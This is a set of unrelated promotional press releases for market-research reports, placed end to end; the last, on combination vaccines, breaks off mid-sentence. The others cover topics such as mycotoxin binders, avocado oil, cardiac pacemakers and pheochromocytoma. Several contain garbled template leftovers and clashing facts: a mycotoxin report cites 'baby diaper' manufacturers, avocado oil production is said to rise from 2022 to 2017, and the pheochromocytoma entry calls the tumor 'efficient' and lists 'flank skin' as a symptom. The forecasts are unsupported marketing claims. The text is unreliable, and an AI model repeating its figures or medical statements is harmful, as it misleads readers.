Mycotoxin Binders Market Intelligence Report Offers Growth Prospects

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Global Mycotoxin Binders Market: OverviewThis report provides forecast and analysis of the global mycotoxin binders market. It provides historical data of 2015 along with estimated data of 2017, and forecast data up to 2025 in terms of revenue (US$ Mn). The report also includes macroeconomic indicators along with an outlook on baby diaper for global market. It includes drivers and restraints of the global mycotoxin binders market and their impact on each region during the forecast period. The report also comprises the study of current issues with consumers and opportunities for mycotoxin binders. It also includes value chain analysis.Download exclusive Sample of this report:In order to provide users of this report with comprehensive view of the market, we have included detailed competitiveness analysis and market key players and strategy overview. The dashboard provides detailed comparison of mycotoxin binders manufacturers on parameters such as total revenue, product offerings, and key strategy. The study encompasses market attractiveness analysis by product type and region. The report includes mycotoxin binders market company profiles and the revenue generated from the companies across North America, Latin America, Europe, APAC and MEA.Global Mycotoxin Binders Market: SegmentationBased upon the product type, mycotoxin binders market is segmented into raw clays, zeolites and other treated aluminosilicates, polysaccharides and other materials. On the basis of animal category, mycotoxin binders market is segmented into swine, poultry, ruminant, aqua, pets, equine, and others. For the calculation of revenue collection of average regional prices were obtained through primary quotes from numerous baby diaper manufacturers, retailers and distributors. All key end users have been considered and potential applications have been estimated on the basis of secondary sources and feedback from primary respondents.Obtain Report Details @Country demand patterns have been considered while estimating the market for various end users of mycotoxin binders in the different regions. Top-down approach has been used to estimate the mycotoxin binders market by countries. Global market numbers by product type has been derived using the bottom-up approach, which is cumulative of each countrys demand. Company-level market share has been derived on the basis of product type. The market has been forecast based on constant currency rates.A number of primary and secondary sources were consulted during the course of the study. Secondary sources include Factiva, and Hoovers, and company annual reports and publications.Global Mycotoxin Binders Market: Competitive AnalysisThe report provides detailed competitive and company profiles of key participants operating in the global market. Some of the major companies operating in the Global Mycotoxin Binders Market are BASF, Syngenta International, E.I. du Pont, Kemin Industries, Bayer, Nutreco, Impextraco, Novus International, Cargill, and Biomin.The market has been segmented as below:Global Mycotoxin Binders market By Product TypeRaw clayZeolites and other treated aluminosilicatesPolysaccharidesOther materialsGlobal Mycotoxin Binders market By Animal typePoultrySwineRuminantAquaPetEquineOthersGlobal Mycotoxin Binders market  By RegionNorth AmericaLatin AmericaEuropeAPEJJAPANMEAAbout UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Global Dance Studio Software Market Size, Status and Forecast, 2022 | Radiant Insights

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This report studies the global Dance Studio Software market, analyzes and researches the Dance Studio Software development status and forecast in United States, EU, Japan, China, India and Southeast Asia. This report focuses on the top players in global market, like Acuity Scheduling Skedda SimplySignUp DanceStudio-Pro Grip Technologies Bookeo Reservio Dance Studio Manager Compu Dance Dance Studio Magic Studio Helper Danceboss iClassPro Akada Software SW Development Backstage Pro PulseTec SolutionsRequest a Free Sample Copy of this Report @Market segment by Regions/Countries, this report covers United States EU Japan China India Southeast AsiaMarket segment by Type, the product can be split into On-premises Cloud-BasedMarket segment by Application, Dance Studio Software can be split into Small and Medium Enterprises (SMEs) Large EnterprisesDownload Full Research Report of Global Dance Studio Software MarketTable of Contents1 Industry Overview of Dance Studio Software1.1 Dance Studio Software Market Overview1.1.1 Dance Studio Software Product Scope1.1.2 Market Status and Outlook1.2 Global Dance Studio Software Market Size and Analysis by Regions1.2.1 United States1.2.2 EU1.2.3 Japan1.2.4 China1.2.5 India1.2.6 Southeast Asia1.3 Dance Studio Software Market by Type1.3.1 On-premises1.3.2 Cloud-Based1.4 Dance Studio Software Market by End Users/Application1.4.1 Small and Medium Enterprises (SMEs)1.4.2 Large EnterprisesTo read more reports of this category, Visit our blog: https://ictmarketreporters.wordpress.com/blog/2 Global Dance Studio Software Competition Analysis by Players2.1 Dance Studio Software Market Size (Value) by Players (2016 and 2017)2.2 Competitive Status and Trend2.2.1 Market Concentration Rate2.2.2 Product/Service Differences2.2.3 New Entrants2.2.4 The Technology Trends in Future3 Company (Top Players) Profiles3.1 Acuity Scheduling3.1.1 Company Profile3.1.2 Main Business/Business Overview3.1.3 Products, Services and Solutions3.1.4 Dance Studio Software Revenue (Value) (2012-2017)3.1.5 Recent Developments3.2 Skedda3.2.1 Company Profile3.2.2 Main Business/Business Overview3.2.3 Products, Services and Solutions3.2.4 Dance Studio Software Revenue (Value) (2012-2017)3.2.5 Recent DevelopmentsRead more related reports by Radiant Insights: Digital Currency IndustryThe 'Global and Chinese Digital Currency Industry, 2012-2022 Market Research Report' is a professional and in-depth study on the current state of the global Digital Currency industry with a focus on the Chinese market. The report provides key statistics on the market status of the Digital Currency manufacturers and is a valuable source of guidance and direction for companies and individuals interested in the industry. Grid-Scale Battery Storage Technologies IndustryFirstly, the report provides a basic overview of the industry including its definition, applications and manufacturing technology. Then, the report explores the international and Chinese major industry players in detail. In this part, the report presents the company profile, product specifications, capacity, production value, and 2012-2017 market shares for each company. Through the statistical analysis, the report depicts the global and Chinese total market of Grid-Scale Battery Storage Technologies industry including capacity, production, production value, cost/profit, supply/demand and Chinese import/export. The total market is further divided by company, by country, and by application/type for the competitive landscape analysis.About Radiant Insights, IncRadiant Insights is a market research and consulting company offering syndicated research studies, customized reports, and consulting services. Market research studies are designed to facilitate strategic decision making, on the basis of extensive and in-depth quantitative information, supported by extensive analysis and industry insights. Using a patented and robust research methodology, we publish exhaustive research reports covering a host of industries such as Technology, Chemicals, Materials, and Energy. Radiant Insights has a strong base of analysts, consultants and domain experts, with global experience help for delivering excellence in all research projects.Media Contact:Michelle Thoras201 Spear Street 1100,Suite 3036,San Francisco,CA 94105, United StatesTel: 1-415-349-0054Toll Free: 1-888-928-9744Mail: sale@radiantinsights.com
Direct-To-Home Satellite TV Services Market Analysis, Segments, Growth & Value Chain 2016-2024

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Global Direct-To-Home (DTH) Satellite TV Services Market: OverviewThe direct-to-home (DTH) satellite television market services has transformed the mass electronic communication industry quite dramatically. It entails the reception of satellite programs through a personal dish that can be installed in homes or in the premises of a building. A direct-to-home network is comprised of a broadcasting center, satellites, multiplexers, encoders, modulators, and DTH receivers. As the name suggests, in a DTH satellite TV, a broadcaster directly connects to the user. It eliminates the need for middlemen such as local cable operators by providing better quality satellite signals with more number of channels. It allows viewers to access and modify their TV configurations themselves.Download exclusive Sample of this report:A report by Transparency Market Research furnishes a thorough insight into the infrastructure and range of operations involved in the Direct-To-Home (DTH) satellite market. It segments the market into two depending upon the modes of DTH signal transmission  C-band and Ku-band frequencies. When it comes to Ku-band, the DTH service providers are required to lease the Ku-band transponders from the satellite. The report also leverages market-leading analytical tools such as SWOT analysis to gauge the opportunities and threats in the market. It offers a detailed peek into its overall size, performance, and future prospects.Global Direct-To-Home (DTH) Satellite TV Services Market: Drivers and TrendsThe global direct-to-home (DTH) satellite TV services market has seen explosive growth on account of its benefits over the traditional cable TV. The most palpable advantage is the high quality picture and stereophonic sound effects that it provides as it is not transferred via the cable. It can reach far flung areas yet unserved by terrestrial transmission and cable TV. Whats more, with DTH one can scan a host of channels to choose from them. This is one major advantage over cable TV where one is forced to watch channels provided by the operator. By zeroing in on the signals that one needs, there is also a scope of lowering the monthly cable bill. It also provides interactive TV services such as movie-on-demand, video conferencing, and e-mails.Obtain Report Details @All this has led a booming direct-to-home (DTH) satellite TV services market. Besides, robust marketing efforts by the broadcasting powerhouses in each region has also contributed to jaw-dropping growth. With the help of DTH broadcasters can uncover the exact number of viewers for a particular channel to calculate its TRP. Countering the growth in the market is the typically steep upfront investment required to set up the receiving apparatus by subscribers.Global Direct-To-Home (DTH) Satellite TV Services Market: Geographical OutlookDepending upon geography, the key segments of the global direct-to-home (DTH) satellite TV services market are Europe, North America, Asia Pacific, and the Rest of the World. While North America and Europe are mature markets, the emerging economies of Brazil, Russia, India, and China are slated to be top gainers in the near future. This is because the market in the developing countries is by and large underpenetrated so far. This coupled with the swift pace of urbanization and enhanced spending capacity of the people in the regions will likely stimulate stellar market growth.Companies Mentioned in ReportSome of the key companies in the global DTH satellite TV services market, listed in the report are FOXTEL, AUSTAR United Communications Limited, Astro All Asia Networks Plc, Star Group Limited, Sky Italia, DIRECTV Group Inc., Shaw Communications Inc., BCE Inc., Nahuelsat S.A., Optus Communications Pty. Ltd, Shin Satellite Public Company Ltd., True Visions Public Company Limited, Norsat International Inc., and Pace Micro Technology Plc.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Avocado Oil Market is expected to Grow at a CARG of 4% till 2022

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http://www.reportsweb.com/2017-2022-global-top-countries-avocado-oil-market-report

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ReportsWeb.com has announced the addition of the 2017-2022 Global Top Countries Avocado Oil Market Report The report focuses on global major leading industry players with information such as company profiles, product picture and specification.Avocado oil is edible oil pressed from the fruit of the avocado. This oil contains a high level of monounsaturated fat (oleic acid) and smaller amounts of polyunsaturated fat. It is also used to make edible oil and cosmetics & skin care products, etc. Avocado oil used in cosmetics & skin care products is lower than that of edible oil. In 2016, edible oil used avocado oil took a share of 63.75%.There are three kinds of avocado oil, extra virgin avocado oil, refined avocado oil and crude avocado oil. Refined avocado oil is odorless, pale yellow oil, which is extracted from the avocado with an expeller-press. Extra virgin avocado oil is extracted from pressing avocados and then filtering it, which has strong avocado aroma, with a green color. Generally, price of refined avocado oil is much higher than that of extra virgin avocado oil. Also, refined avocado oils gross margin is higher than extra virgin avocado oils.Request a Sample atThis report studies Avocado Oil in Global market, especially in United States, Canada, Mexico, Germany, France, UK, Italy, Russia, China, Japan, India, Korea, Southeast Asia, Australia, Brazil, Middle East and Africa, focuses on the top Players in each country, covering Sesajal, Yasin, Bella Vado, Chosen Foods, Grupo Industrial Batellero, La Tourangelle, Avoolio, Ahuacatlan Avocado Oil, Mt. Kenya Fresh Avocados, Kevala, Bio Planete, Hain Celestial Group, Da Gama Avocado Oil, Cate de mi Corazon, Tron Hermanos, Proteco Oils, Westfalia, Aconcagua Oil & Extract, Olivado, Grove Avocado Oil, AvoPure, Village Press, Kahangi EstateAvocado oil production is limited by avocado production. Also avocado oil manufacturers are close to avocado growing areas. They mainly concentrated in Mexico, South America, United States, Africa and Austria In 2016, North America avocado oil production took 50.36% of global production. South America and Asia-Pacific separately took 27.01% and 10.44% in 2016.Global avocado oil production increased from 11666 MT in 2022 to 13277 MT in 2017, with an CARG of 4%.In the future, we predict that global avocado oil production will continue to increase. By 2022, it will be 16393 MT. Also, edible oil application share will increase.Browse Complete Report atFew Point from Table of Contents:1 Avocado Oil Market Overview2 Global Avocado Oil Sales, Revenue (Value) and Market Share by Players3 Global Avocado Oil Sales, Revenue (Value) by Countries, Type and Application (2012-2017)4 Global Avocado Oil Players Profiles/Analysis5 North America Avocado Oil Sales, Revenue (Value) by Countries, Type and Application (2012-2017)6 Latin America Avocado Oil Sales, Revenue (Value) by Countries, Type and Application (2012-2017)7 Europe Avocado Oil Sales, Revenue (Value) by Countries, Type and Application (2012-2017)8 Asia-Pacific Avocado Oil Sales, Revenue (Value) by Countries, Type and Application (2012-2017)9 Middle East and Africa Avocado Oil Sales, Revenue (Value) by Countries, Type and Application (2012-2017)10 Global Avocado Oil Market Forecast (2017-2022)11 Avocado Oil Manufacturing Cost Analysis12 Industrial Chain, Sourcing Strategy and Downstream Buyers13 Marketing Strategy Analysis, Distributors/Traders14 Market Effect Factors Analysis15 Research Findings and Conclusion16 AppendixPurchase Complete Report atContact Information:Call: +1-646-491-9876Email: sales@reportsweb.comReportsWeb.com is a one stop shop of market research reports and solutions to various companies across the globe. We help our clients in their decision support system by helping them choose most relevant and cost effective research reports and solutions from various publishers. We provide best in class customer service and our customer support team is always available to help you on your research queries.505, 6th floor, Amanora Township,Amanora Chambers, East Block,Kharadi Road, Hadapsar, Pune-411028
Medical Radiation Detection, Monitoring & Safety Market is likely to Register Double Digit CAGR By 2025 End

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There are various areas where radiation power has been applied for the benefit of humans, one of them being the medical segment. Numerous benefits availed by patients due to the appropriate usage of radiation for improved diagnosis and treatment are evident. It has become a key part of the modern medical treatment, especially in treating cancer. Protection from radiation for doctors, other healthcare professionals, and patients is constantly evolving in the ever-developing modern medical environment. Radiation-producing technology such as X-ray diffraction equipment and X-ray machines are employed in various hospitals and diagnostic centers. Many handle intensive treatment procedures where risk of high levels of radiation exposure exists. Therefore, for the optimal safety from radiation, the medical radiation detection, monitoring and safety market offers radiation detection and monitoring products for real-time dosimetry monitoring.According to the United States Nuclear Regulatory Commission, in 2014, seven out of every 10 Americans underwent diagnostic X-rays and radiation therapy. Furthermore, 10 million nuclear medicine procedures are performed in hospitals and radiology centers in the U.S. each year. Radiation is commonly employed to detect injuries, generate 3D images, as teletherapy, brachytherapy, and afterloading to treat tumors. Thus, the major factors which are anticipated to act as drivers for the medical radiation detection, monitoring, and safety market growth are increased usage of nuclear medicine and radiation therapy for diagnosis and treatment, rising cancer prevalence, and increase in the population of the persons with insurance. However, delay in new product approvals due to strict regulatory guidelines and scarcity of skilled professional to handle radiation related procedures are anticipated to act as restraints for this market.Report Overview and TOC @The medical radiation detection, monitoring and safety market can be segmented into safety products, monitoring, detection and detector products, and end-users. In terms of detector, the medical radiation detection, monitoring and safety market can be segmented into solid-state detectors, gas-filled detectors, and scintillators. Due to the wide application in medical imaging and favorable cost-performance ratio of gas-filled detectors it had acquired the major share of medical radiation detection, monitoring and safety market in recent years.In terms of product type, the market can be segmented into area process monitors, personal dosimeters, environment radiation monitors, environment radiation monitors, radioactive material monitors, surface contamination monitors, and others. Personal dosimeters accounted for a major share of the medical radiation detection and monitoring market due to their high demand in the medical field in recent years.Request for Brochure @In terms of modality, the market can be segmented into hand safety products, face protection products, full-body protection products, and others. The full body protection segment is anticipated to expand in the near future due to the increased usage of radiation in various treatment procedures and rising awareness among healthcare professionals and patients.In terms of end-user, the market can be segmented into hospitals and non-hospitals. Rising number of hospitals around the world is a key factor fuelling the expansion of the market in the end-user segment.Pre Book Full Report @In terms of geography, the market can be segmented into North America, Europe, Asia, and Rest of the world. Expansion in the North America market is mainly due to the rise in usage of radio-diagnostic instruments and new technological advancements in radiation detection, monitoring and safety products. The market in Asia is anticipated to expand in the near future due to increase in number of hospitals in the region, increased cancer incidences, and rise in number of installations of radiological imaging instruments.Key participants in the medical radiation detection, monitoring, and safety market are Arrow-Tech, Inc., Amray Medical, Biodex Medical Systems, Inc., Fluke Biomedical, IBA Worldwide, Infab Corporation, Landauer, Inc., Ludlum Instruments, Inc., Mirion Technologies, Inc., PTW Freiburg GmbH, Radiation Detection Company, Thermo Fisher Scientific, and Unfors Raysafe AB.ABOUT US:Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.CONTACT:Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-345
Flavors and Fragrances Market Lucrative Opportunites By 2024

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Flavors and fragrances are essential components of different consumer goods and packaged foods. Natural and synthetic essence compositions make the cool mint flavor of toothpaste, the cinnamon aroma of pumpkin lattes and the cherry taste of cherry cola.Moreover, fragrance compositions add the fresh smell of pine to exotic top notes to fine perfumes and household cleaning products. The market is expected to experience healthy growth over the forecast period.It is primarily driven by the demand from companies that manufacture food and beverages, cosmetics, perfumes, toiletries, and household products. In addition, emerging middle class developing countries is a key driver boosting the growth of the market.Growth in the market is depended on the availability and geographical distribution of flavors and fragrances among the consumers. Furthermore, manufacturing aroma chemicals by chemical synthesis has opened up a branch of chemistry.Obtain Report Details:Flavors and fragrances primarily include a set of compounds such as alcohol, esters, lactones, acids, ketones and aldehydes. This market is segmented by ingredients type, product type, end user type and by geography. Based on ingredients type, the flavors and fragrances market is categorized into aroma chemicals and essential oils.On the basis of product type, the market is segmented into flavor blends, fragrance blends, and aroma chemicals which are further sub segmented into natural aroma chemicals and synthetic aroma chemicals.Based on end use type, the global fragrances market is bifurcated into soaps and detergents industry, cosmetics and toiletries industry, fine fragrances industry and household cleaners and air fresheners industry.On the basis of end user type, the global flavors market is further segmented into beverages segment, dairy segment, savory segment, bakery segment, and confectionery segment. Geographically, the flavors and fragrances market is segmented into North America, Europe, Asia Pacific and rest of the World.The global flavors and fragrances market witnessed growth in recent years due to increasing demand for natural ingredients. In addition, there are several factors contributed to growth of flavors and fragrances market including the worldwide growing industrialization leading to the large-volume production of flavored or scented products such as processed foods and beverages, personal care products, soap, detergents, oral hygiene products and household cleaners.In spite of the various advantages offered by flavors and fragrances, there are some restraining factors that prevent the growth of the market such as fluctuation in raw material prices.Asia Pacific dominated the global demand for flavors and fragrances market in 2014 in terms of revenue. India and China are projected to exhibit rapid growth, boosting usage of flavors and fragrances in the Asia Pacific region.Furthermore, as developing regions continue to acquire an increasing share of the global market that creates huge market opportunities, leading flavor and fragrance manufacturers are expected to continue to make investments in these areas.Though the fastest growth is expected to be experienced in developing countries, industrialized countries are slated to be continue to account for the majority of demand, for instance the U.S. alone accounting for around one third share of total demand in 2016. Other countries with a significant share of the market include China, Japan, France, Germany, and India.Make Enquiry @Some of the key players operating in the flavors and fragrances market are Firmenich SA, Givaudan SA, Symrise AG, Agilex Flavors & Fragrances, Inc., International Flavors & Fragrances, Inc., Bedoukian Research, Inc., Aromatech SAS, BASF SE, Bell Flavors & Fragrances Inc., Sensient Technologies Corp., Takasago International Corp. and Royal DSM NV among others.The report has been compiled through extensive primary research (through interviews, surveys, and observations of seasoned analysts) and secondary research (which entails reputable paid sources, trade journals, and industry body databases).The report also features a complete qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain.A separate analysis of prevailing trends in the parent market, macro- and micro-economic indicators, and regulations and mandates is included under the purview of the study. By doing so, the report projects the attractiveness of each major segment over the forecast period.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email:sales@transparencymarketresearch.comWebsite:
Payroll Software Market - TheSBA, i-Admin, ONPAY, CompuPay, Mosaic Software, Dakar Software Systems, Dream Tekis Software, Paylocity, Adrenalin eSystems, PayCom, BenefitMall

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Global Payroll Software Market Size, Status and Forecast 2022 provides Market information about top Key Players, Countries, Type and Application. This Industry report also states Company Profile, sales, Payroll Software Market revenue and price, market share, market growth and gross margin by regions.Top Key Players:TheSBAi-AdminONPAYCompuPayMosaic SoftwareDakar Software SystemsDream Tekis SoftwarePaylocityAdrenalin eSystemsPayComBenefitMallEnquiry for buying report @Market segment by Regions/Countries, this report coversUnited StatesEUJapanChinaIndiaSoutheast AsiaMarket segment by Application, Payroll Software can be split intoLarge EnterpriseSMEBrowse Report @This report provides detailed analysis of worldwide markets for Payroll Software and provides extensive market forecasts 2017-2022 by region/country and subsectors. It covers the key technological and market trends in the Payroll Software market and further lays out an analysis of the factors influencing the supply/demand for Payroll Software , and the opportunities/challenges faced by industry participants. It also acts as an essential tool to companies active across the value chain and to the new entrants by enabling them to capitalize the opportunities and develop business strategies.Global Payroll Software Market Outlook 2016-2022, has been prepared based on the synthesis, analysis, and interpretation of information about the global Payroll Software market collected from specialized sources. The report covers key technological developments in the recent times and profiles leading players in the market and analyzes their key strategies. The competitive landscape section of the report provides a clear insight into the market share analysis of key industry players.The report provides separate comprehensive analytics for the North America, Europe, Asia-Pacific, Middle East and Africa and Rest of World. In this sector, global competitive landscape and supply/demand pattern of Payroll Software industry has been provided.About Us:1MarketResearch is a global business market research providing syndicated research Report, customized research reports, company profiles and industry databases across multiple domains.We provide intellectual, precise and meaningful data at a lightning speed.We host more than 500,000 Industry research products.Contact US:1MarketResearch304, S. Jones Blvd, #3299,Las Vegas, NV - 89107USA : +1 702-425-8599Email : Sales@1MarketResearch.comWeb :
Cardiac Pacemaker Market: Segment Snapshot and Table of Content (2016-2024)

Cardiac Pacemaker Market

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Persistence Market Research (PMR) delivers key insights on the global cardiac pacemaker market in its upcoming report titled, Cardiac Pacemaker Market: Global Industry Analysis and Forecast, 20162024. The global cardiac pacemaker market was valued at US$ 4,100.0 Mn in 2015 and this is likely to decline to US$ 3923.8 Mn by 2024. In terms of revenue, the global cardiac pacemaker market is anticipated to exhibit a declining CAGR of -0.5% over the forecast period owing to various factors, on which PMR offers detailed insights and forecasts.A key unmet need in global cardiac pacemaker market is the lack of a 100% safe and efficient pacemaker device to treat arrhythmias. There is an imperative need for development of cost-effective and rapid diagnostic methods for arrhythmias with a growing geriatric population and increasing patient pool with escalating global demand for treatment. This is anticipated to offer lucrative opportunities to new players in the global cardiac pacemaker market. Various key players in the cardiac pacemaker market are signing partnerships and licensing deals to share the research and development platform. In 2014, Medtronic has signed a deal with Lifetech Scientific to bring pacemaker into the Chinese market. According to the agreement, Lifetech Scientific shall manufacture pacemaker at their facility and Medtronics would provide with technology and required training.Get Full Report @The global Cardiac Pacemaker Market is segmented on the basis of product type, end user and region.The market is segmented based on product type, end users, and regions. Based on product type, the market is segmented into implantable pacemaker and external pacemaker. Both the segments are expected to exhibit a negative CAGR for the forecast period, owing to increasing number of device recall related to device malfunctioning. The implantable pacemaker segment is expected to exhibit a declining CAGR of -0.5% and external pacemaker segment is expected to exhibit a declining CAGR of -1.0% during the forecast period.Based on end users, the market is segmented into hospitals and ambulatory surgical centers. The hospitals segment is anticipated to account for the highest market share over the forecast period exhibiting a declining CAGR of -0.1% due to better reimbursement rates offered by government and non-government bodies.This report assesses trends, that drive growth of each segment on the global as well as regional levels, and offers potential takeaways, that could prove substantially useful to medical device manufacturing companies who wish to enter into the global cardiac pacemaker market. North America and Europe are expected to lose market share in terms of revenue generation. Latin America, APAC, and MEA are collectively expected to be more attractive in terms of revenue generation in the global cardiac pacemaker market in 2016 with growth in revenue for the forecast period. Latin America is expected to expand at a CAGR of 1.1% closely followed by Asia Pacific with a CAGR of 1.0% over the forecast period, due to increase in the diagnosis rate and improved healthcare infrastructure. The India cardiac pacemaker market is expected to increase over other markets and register a CAGR of 1.5% in the region due to increased government initiative, increase in health care expenditure, and increase in disease prevalence. The growth of cardiac pacemakers in this region is largely due to increased participation of local manufacturers and increasing healthcare expenditure.Some key players in the global cardiac pacemaker market identified in this report are Medtronics, Lepu Medical Technology Co ltd., Osypka Medical GmbH. MEDICOWEB, Boston Scientific Corporation, Pacetronix ltd., BIOTRONIK SE & Co. KG, LivaNova Plc., and St.Jude Medical Inc. Persistence Market Research has discussed individual strategies of these companies in terms of increasing focus on rare diseases, initiatives to increase awareness, and enhancing distribution base. The report has been concluded with strategic recommendations for players already present in the market and new players planning to enter the market, which could help them in the long run.Request A Sample Report @Summary of Table of Content1. Executive Summary2. Market Introduction3. Global Cardiac Pacemaker Market Analysis Scenario4. Market Dynamics5. Global Cardiac Pacemaker Market Analysis and Forecasts, By Product6. Global Cardiac Pacemaker Market Analysis and Forecasts, By End User7. Global Cardiac Pacemaker Market Analysis and Forecasts, By Region8. North America Cardiac Pacemaker Market Analysis and Forecast9. Latin America Cardiac Pacemaker Market Analysis and Forecast10. Europe Cardiac Pacemaker Market Analysis and Forecast11. APAC Cardiac Pacemaker Market Analysis and Forecast12. MEA Cardiac Pacemaker Market Analysis and Forecast13. Competition Landscape14. Assumptions and Acronyms Used15. Research MethodologyRequest to Browse Full Table of Content, figure and Tables @About UsPersistence Market Research (PMR) is a U.S.-based full-service market intelligence firm specializing in syndicated research, custom research, and consulting services. PMR boasts market research expertise across the Healthcare, Chemicals and Materials, Technology and Media, Energy and Mining, Food and Beverages, Semiconductor and Electronics, Consumer Goods, and Shipping and Transportation industries. The company draws from its multi-disciplinary capabilities and high-pedigree team of analysts to share data that precisely corresponds to clients business needs.PMR stands committed to bringing more accuracy and speed to clients business decisions. From ready-to-purchase market research reports to customized research solutions, PMRs engagement models are highly flexible without compromising on its deep-seated research values.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Pheochromocytoma Market to Receive Overwhelming Hike in Revenues by 2025

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Pheochromocytoma is an efficient catecholamine-secreting tumor of the adrenal gland medulla. Catecholamines include norepinephrine, epinephrine, and their derivatives. Symptoms of pheochromocytoma include flank skin, elevated heart rate, elevated blood pressure, anxiety, sweating, headache, and weight loss. Within normal limits, norepinephrine and epinephrine hormones are responsible for regulating the blood pressure and heart rate. Excess production of catecholamine due to pheochromocytoma is a reason for high blood pressure with life-threatening and potentially serious difficulties such as stroke and heart attack. Pheochromocytoma occurs most frequently in adults aged between 30 and 60 years. Pheochromocytomas are not life-threatening mostly, but have 10% chances of being cancerous. High blood pressure is the most significant symptom; however, excessive sweating, light-headedness, a fast and pounding pulse when standing, severe headache, rapid breathing, and other symptoms may also occur.Report Overview and TOC @The pheochromocytoma market can be segmented based on diagnosis, treatment, and region. Based on diagnosis, the market can be segmented into laboratory tests, imaging tests, and genetic testing. Laboratory tests include 24-hour urine test and blood test. These tests help in measuring the levels of noradrenaline, adrenaline, and byproducts of these hormones in the patients body. Furthermore, imaging tests include computed tomography (CT) scan, magnetic resonance imaging (MRI), M-iodobenzylguanidine (MIBG) imaging, and positron emission tomography (PET). Genetic testing includes profiles of plasma catecholamine metabolites in patients with hereditary pheochromocytoma. Based on treatment, the pheochromocytoma market has been segmented into medications and surgery. Medications include Beta blockers that decrease the heart rate and reduce the blood pressure and antihypertensive drugs that lower the blood pressure. Moreover, surgery includes adrenalectomy, which is surgical removal of one or both the adrenal glands.Request for Brochure @Based on geography, the global pheochromocytoma market can be segmented into four major regions: North America, Europe, Asia Pacific, and Rest of World. North America dominates the global pheochromocytoma market, followed by Europe. Key factors driving the market in these two regions are growing awareness about malignant effects of tumor among the people and availability of sophisticated and technologically advanced treatment options in these regions. According to Clinical Key, a health care website by Elsevier, Inc., the prevalence of tumor is estimated to be around 2 cases per 100,000 individuals in the U.S. every year. Around 5% of adrenal incidentalomas are pheochromocytomas. Studies have also shown that about 25% of them are hereditary. Hence, increasing expertise in gene therapy may also help in curbing the cancer growth. Advancements in the diagnosis and treatment of cancer are likely to add to product offerings in the near future. The prevalence of cancer is increasing in developing countries. Thus, cost-effective treatment options are likely to witness high demand in these countries. According to an article published by Progenics Pharmaceuticals Inc., the number of patients in the U.S. is around 4000 to 6000 currently, with less than 1000 new cases diagnosed in 2016. Additionally, unhealthy lifestyle habits such as smoking and drinking are contributing to growth of the pheochromocytoma market in North America. Asia Pacific is one of the most promising markets for pheochromocytoma, as the region is developing rapidly. Furthermore, presence of emerging economies and easy penetration of the market in developing countries in Asia would drive the pheochromocytoma market in Asia Pacific in the near future.Pre Book Full Report @Several pharmaceutical companies are currently developing therapeutic treatments to reduce the malignant effects of the pheochromocytoma. Some of the top players operating in the global pheochromocytoma market are Exelixis, Inc., MediaPharma s.r.l., Pfizer Inc., Progenics Pharmaceuticals, Inc., and Valeant Pharmaceuticals International, Inc.ABOUT US:Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.CONTACT:Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-345
Human Combination Vaccines Market Set to Surge Significantly During 2017-2025

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A combination vaccine is designed to provide protection against two or more diseases or against single disease caused by completely different or similar organism. A combination vaccine also boosts the immune system to fight against infection. These vaccines contain two or more antigens that are either combined in ready form or mixed before administration. Safety, efficacy, and immunogenicity of a combined immunizing agent are high.Report Overview and TOC @Based on vaccine type, the global human combination vaccines market can be segmented into inactivated vaccine and live attenuated vaccines. High acceptance of inactivated vaccine among physicians is attributed to strong growth of the segment. Moreover, inactivated vaccine is stable and can easily be stored and transported in freeze-dried form. In terms of end-user, the human combination vaccines market can be segmented into hospitals, clinics, and others. Hospitals is the leading segment of the market due to increase in government awareness and initiation of different programs for immunization against various diseases. Additionally, hospitals are preferred by both patients and physicians as these are modernized with all types of vaccines. According to the World Health Organization (WHO), vaccination has reduced the global weight of contagious ailment to a great extent. Low risk of side effects related to vaccines is leading to a positive response from numerous demographics and growing alertness regarding vaccination by several government and non-profit organizations are the key factors driving the human combination vaccines market. Vaccine manufacturers are working toward advancement of existing vaccines as well as development of novel vaccines. Moreover, combination vaccines reduce the cost of extra health care visits. However, manufacturers have to be encouraged to invest extensive capital and undergo rigorous regulatory approval processes for the development and approval of latest vaccines. Handling, storage, and transportation of vaccines incurs significant costs which can hamper the growth of the market.Request for Brochure @In terms of geography, the global human combination vaccines market can be segmented into North America, Europe, Asia Pacific, Latin America, and Middle East & Africa region. North America is the leading market for combination vaccines due to rise in demand for 